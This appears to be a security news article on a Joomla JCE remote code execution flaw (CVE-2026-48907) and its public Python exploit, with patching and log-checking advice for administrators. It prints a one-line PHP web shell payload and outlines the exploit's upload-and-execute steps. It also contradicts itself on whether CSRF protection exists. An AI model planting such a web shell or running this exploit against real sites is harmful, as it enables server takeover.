A critical unauthenticated remote code execution vulnerability in the JCE extension for Joomla has been exploited. A public proof-of-concept is now available.
The flaw is tracked as CVE-2026-48907. It affects JCE versions 1.0.0 through 2.9.99.4. The vulnerability was patched in version 2.9.99.5.
Security researcher Jared Brits, who goes by the handle K3ysTr0K3R, published a working exploit for the vulnerability. The Joomla JCE unauthenticated RCE exploit targets the profile import functionality. The lack of authentication and CSRF protections makes this functionality vulnerable.
The Vulnerability
The Joomla JCE unauthenticated remote code execution vulnerability exploits the JCE profile import functionality. This functionality does not have any authentication required. It also lacks CSRF protections.
The attacker uploads an XML file which contains the PHP code in the /tmp/ directory. It can be accessed via HTTP.
This leads to remote code execution on the affected server. The vulnerability requires no authentication. It can be exploited remotely.
JCE versions 1.0.0 through 2.9.99.4 are affected. The vulnerability was fixed in version 2.9.99.5. Joomla administrators should update to the patched version immediately.
The Exploit Code
The Joomla JCE unauthenticated RCE exploit is written in Python. It uses the requests library for HTTP interactions.Also, it utilizes the rich library for console output.
This exploit consists of the following sequence of steps:
- First, it extracts the CSRF token from the page. It searches for patterns like "csrf.token": "32-character-hex". It also looks for the CSRF token within a hidden field.
- Second, it uploads a malicious XML file containing a PHP backdoor. The upload is sent to /index.php?option=com_jce. The task parameter is set to profiles.import.
- Third, it checks if the upload was successful. It looks for "success" and "true" in the response.
- Fourth, it checks the functionality of the webshell by executing the test command (echo JCE_TEST).
- Finally, it can either execute one command or it can provide an interactive shell.
Backdoor Payload
The backdoor payload used in Joomla JCE unauthenticated remote code execution vulnerability is quite simple and works. It has been written in the following format: <?php if(isset($_GET["cmd"])){system($_GET["cmd"]);} ?>.
It helps in executing commands using the GET parameter. The file will be stored in /tmp/ directory with some random filename such as "jce-XXXX.xml.php".
This makes it difficult to predict. But it is easy to find once the upload is successful.
Exploit Modes
The Joomla JCE unauthenticated RCE exploit supports three modes of operation.
Single command execution is available with the --cmd flag. For example, python3 exploit.py -u http://example.com --cmd "id".
Interactive shell mode is available with the --interactive flag. This allows the attacker to issue commands repeatedly.
The verbose output can be obtained using the -v flag. This is useful for debugging and detailed logging.
The Risk to Joomla Sites
The RCE exploit in Joomla JCE allows an attacker to perform unauthenticated remote code execution on vulnerable Joomla sites. The exploitation of this vulnerability may result in complete Joomla site compromise.
The exploit has been tested on Joomla 3.10.11 with JCE 2.9.15. The environment was Apache 2.4 and PHP 7.4. The vulnerability likely affects a wide range of Joomla and JCE versions.
The release of the exploit code allows attackers to attack vulnerable sites very easily. Site administrators need to update their sites immediately.
What Administrators Should Do
The Joomla JCE unauthenticated RCE exploit is a critical security risk.
Action needs to be taken by the administrators straight away:
- First, ensure that JCE is updated to version 2.9.99.5 or above. This is the only way to solve the issue once and for all.
- Second, if you cannot patch JCE immediately, you can disable the profile import functionality in JCE and limit access to the JCE component.
- Third, inspect your server log to see whether it is exploited. Pay special attention to the URI /index.php?option=com_jce, especially its query parameter task=profiles.import.
- Fourth, inspect the /tmp/ directory for any suspicious files named "jce-*.xml.php."
- Fifth, make sure that no unauthorized administrator accounts have been added.
The Exploit Author
The Joomla JCE unauthenticated RCE exploit was published by security researcher Jared Brits. His alias is K3ysTr0K3R.
The code of the exploit is well written. The exploit contains such features as verbose, proxy capabilities, and interactive shell.
Conclusion
The Joomla JCE unauthenticated RCE exploit attacks targets a critical vulnerability in the JCE extension for Joomla. The flaw allows unauthenticated attackers to upload XML files. This leads to remote code execution.
The exploit affects JCE versions 1.0.0 through 2.9.99.4. The vulnerability was fixed in version 2.9.99.5.
Administrators should update to the patched version immediately. Check your server logs for signs of exploitation. Review the /tmp/ directory for suspicious files.
The Joomla JCE unauthenticated RCE exploit is a reminder that third-party extensions can introduce critical vulnerabilities. Stay current with security updates. Maintain a strong security posture.
FAQ Section
What is the Joomla JCE unauthenticated RCE exploit?
It is a working exploit for CVE-2026-48907. This is an essential security vulnerability found within the Joomla JCE extension. The vulnerability enables attackers who have not authenticated themselves to upload XML files and execute code remotely.
Which JCE versions are affected?
JCE versions 1.0.0 through 2.9.99.4 are affected. The vulnerability was fixed in version 2.9.99.5.
How does the exploit work?
The exploit extracts a CSRF token. It uploads a crafted XML file containing a PHP backdoor. File will be located in /tmp/. Backdoor will now be accessible via HTTP to execute commands.
What action must Joomla users take?
Urgently update JCE to version 2.9.99.5. Examine server logs for any evidence of attacks. Inspect the "/tmp/" directory for any suspicious files.
Is the exploit being used in the wild?
The exploit code has been published. This makes it available to attackers. Administrators should assume that scanning and exploitation attempts are occurring.
